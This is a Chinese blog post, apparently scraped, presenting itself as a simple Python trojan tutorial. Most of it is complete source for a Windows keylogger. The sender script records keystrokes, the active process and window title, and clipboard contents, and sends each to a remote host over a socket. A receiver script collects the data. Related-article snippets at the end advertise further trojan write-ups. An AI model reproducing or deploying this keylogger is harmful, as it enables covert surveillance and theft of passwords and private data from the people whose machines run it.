python简易木马(一)

参考链接:

Python编写简易木马程序

参考这个博客来写的

一些具体的问题:

1.配置pyHook模块、ctypes模块,需要这两个木块才能运行成功。

2.将三个模块结合起来要分清client为发送方server为接收方。

结合起来:发送方(被监控者)

# -*- coding:gb2312 -*-

from ctypes import*
import pythoncom
import pyHook
import win32clipboard
import socket
import threading

def send(message):
    #目标地址ip/URL及端口
    target_host = "***.***.***.***"
    target_port = 9999

    #创建一个socket对象
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    #连接主机
    client.connect((target_host,target_port))

    #发送数据
    client.send("GET/HTTP/1.1\r\n"+message+"\r\n\r\n")

    #接受响应
    response = client.recv(4096)

#--------------------------------------------------
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():

    #获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    #获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    #将进程ID存入变量
    process_id = "%d"%pid.value

    #申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400|0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    #读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

    #发送
    message = process_id+"    "+executable.value+"    "+windows_title.value
    send(message)

    #关闭handows
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

#定义击键监听事件函数
def KeyStroke(event):

    global current_window

    #检测目标窗口是否发生转移(换了其他窗口就监听其他窗口)
    if event.WindowName != current_window:
        #函数调用
        get_current_process()

    #检查击键是否为常规按键(非组合键)并发送
    if event.Ascii >32 and event.Ascii < 127:
        message = chr(event.Ascii)
        send(message)
    else:
        #如果发现Ctrl+v事件,酒吧粘贴板内容发送
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            message = pasted_value
            send(message)
        else:
            send(event.Key)
    #监听下一个击键事件
    return True
#创建并注册hook管理器

kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

#注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

接收方:

# -*- coding:gb2312 -*-
import socket
import threading

#监听的ip及端口
bind_ip = "127.0.0.1"
bind_port = 9999

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print"[*]Listening on %s:%d"%(bind_ip,bind_port)

def handle_client(client_socket):
    request = client_socket.recv(1024)
    print"[*]Received:%s"%request
    client_socket.send("ok!")
    client_socket.close()

while True:
    client,addr = server.accept()
    print"[*]Accept connection from:%s:%d"%(addr[0],addr[1])
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()

就是把三个模块结合,把发送的数据改为记录即可。

未解决问题:

1.哎,没什么用,虽然能实现功能,但是一般的杀毒软件都能检测到程序在监控键盘输入,就当练习玩吧。

2.功能不够完善,没有远程控制功能,把他扔出去就只能接受信息了。

3.未完善鼠标监听和截图功能。

时间: 2024-10-24 23:47:48

python简易木马(一)的相关文章

python简易木马编写

功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱. 系统由两个功能组成:获取屏幕截图和发送邮件到邮箱. 源码如下: # -*- coding: utf-8 -*- import win32gui import win32ui import win32con import win32api import os,os.path from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart

Python编写简易木马程序(转载乌云)

Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码,安装配置JEDI插件可以参照这里: /tips/?id=4413 首先准备好我们需要的依赖库,python hook和pythoncom. 下载安装python hook 下载安装pythoncom模块:

Python网络编程02----基于UDP的Python简易服务器

UDP 服务器不是面向连接的,所以不用像 TCP 服务器那样做那么多设置工作.事实上,并不用设置什么东西,直接等待进来的连接就好了. ss = socket() # 创建一个服务器套接字 ss.bind() # 绑定服务器套接字 inf_loop: # 服务器无限循环 cs = ss.recvfrom()/ss.sendto() # 对话(接收与发送) ss.close() # 关闭服务器套接字 服务器端: from socket import * from time import ctime

调用百度ocr的API,python简易版本

调用百度ocr的API,python简易版本 https://www.jianshu.com/p/e10dc43c38d0 1. 注册 百度云注册账号 https://cloud.baidu.com/?from=console 管理应用 https://console.bce.baidu.com/ai/#/ai/ocr/overview/index 创建一个 图1登陆之后的界面 进入链接之后创建应用,由于是从文字识别点进去的,所以默认选中的就是ocr相关内容,填好表格确认. 图2 创建应用之后的

python简易爬虫实现

目的:爬取昵称 目标网站:糗事百科 依赖的库文件:request.sys.beautifulSoup4.imp.io Python使用版本:3.4 说明:参考http://cn.python-requests.org/zh_CN/latest/user/quickstart.html 步骤: 一.熟悉request Request介绍: Request库是一个python http库,其内部依赖urllib3库. 以下是它的功能特性: 国际化域名和 URL.Keep-Alive & 连接池.带持

python简易爬虫

这两天看了一下python的基础语法,跟着网上的教程爬了一下百度百科和python相关联的词条.采用了beautifulsoup4插件 下面是流程 首先是一个url管理器,负责增加/获取/判断是否有url 1 # coding:UTF8 2 #url管理器 3 class UrlManager(object): 4 def __init__(self): 5 self.new_urls=set() 6 self.old_urls=set() 7 8 def add_new_url(self,ur

Python简易爬虫爬取百度贴吧图片

通过python 来实现这样一个简单的爬虫功能,把我们想要的图片爬取到本地.(Python版本为3.6.0) 一.获取整个页面数据 def getHtml(url): page=urllib.request.urlopen(url) html=page.read() return html 说明: 向getHtml()函数传递一个网址,就可以把整个页面下载下来. urllib.request 模块提供了读取web页面数据的接口,我们可以像读取本地文件一样读取www和ftp上的数据. 二.筛选页面

python简易web服务器学习笔记(三)

import sys, os, BaseHTTPServer #------------------------------------------------------------------------------- class ServerException(Exception): '''For internal error reporting.''' pass #--------------------------------------------------------------

Python简易web服务

利用Python自带的包可以建立简单的web服务器.在DOS里cd到准备做服务器根目录的路径下,输入命令: python -m Web服务器模块 [端口号,默认8000] 例如: python -m SimpleHTTPServer 8080 然后就可以在浏览器中输入 http://localhost:端口号/路径 来访问服务器资源. 例如: http://localhost:8080/index.htm(当然index.htm文件得自己创建) 其他机器也可以通过服务器的IP地址来访问. 这里的